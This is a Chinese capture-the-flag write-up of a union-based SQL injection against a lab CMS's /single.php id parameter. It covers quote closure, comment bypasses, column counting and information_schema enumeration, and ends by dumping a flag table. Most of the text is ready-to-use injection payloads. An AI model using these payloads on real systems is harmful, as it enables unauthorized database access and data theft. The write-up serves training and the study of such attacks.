春秋之境28512

题目说该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。访问看一下随便点一个图片。

发现了注入点?id=

那么开始查看闭合符一个 ' 就报错了

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

分析一下就知道就是一个 ' 并且过滤符#被过滤了

所以用 --+ 或者 ;%00 来过滤后面

用 order by 数字 来判断字段发现order by 9成功

order by 10报错,所以字段就是9个

使用payload:?id=-1' union select 1,2,3,4,5,6,7,8,9 ;%00

发现第2个位置有回显

?id=-1' union select 1,database(),3,4,5,6,7,8,9 ;%00

爆出数据库ctf

试了很多写法最后还是发现payload为:?id=-1' union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema='ctf';%00

爆出表名titles

?id=-1' union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='titles';%00

接着爆字段,发现爆出来的东西没一点关系(表爆出了一个没用的)

构造payload

?id=-1' union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()limit 10,1 --+

查看后面的表名

从limit 0,1 一直到limit 13,1

一共有14个表

分别为titlespage_hitsmembership_userpermissionsmembership_groupsblog_categoriesmembership_userrecordsmembership_userseditors_choiceblogslinksflagbanner_postsmembership_grouppermissionsvisitor_info

毫无疑问就flag最像了

接着便是查字段

?id=-1' union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag' --+

查内容

id=1' and 1=2 union select 1,flag,3,4,5,6,7,8,9 from flag --+

flag{218405b4-7dcd-4f19-8b07-7aec5b843a21}

相关推荐
ShiXZ2133 小时前
Redis 常用指令全集:redis-cli 实战速查手册
数据库·redis·缓存
晓子文集4 小时前
Tushare接口文档:期货日线行情(fut_daily)
大数据·数据库·金融数据·量化投资·tushare
WA内核拾荒者4 小时前
WhatsApp 账号异常检测的自动化告警系统设计
数据库·python·自动化
LDZKKJ6 小时前
OpenAI模型“越狱“入侵Hugging Face——AI安全史上的至暗时刻
网络·人工智能·安全
zzq77977 小时前
别把大模型 API Key 写进 APK:移动 AI 应用接口防盗刷实践
android·人工智能·安全·app加固·御盾安全·安卓加固
龙仔7258 小时前
人大金仓OS_Core数据库自动备份实施笔记(银河麒麟Linux)
linux·数据库·笔记·备份·人大金仓
sunxr.2278 小时前
Mysql-----最后一次作业
数据库·mysql
普通网友8 小时前
Python FastAPI 异步数据库管理
数据库·fastapi
晓子文集8 小时前
Tushare接口文档:期货合约信息表(fut_basic)
大数据·数据库·金融·金融数据·量化投资
全云在线allcloudonline9 小时前
等保服务公司能提供什么?广东创云科技一站式等保流程解析
网络安全·等保·企业服务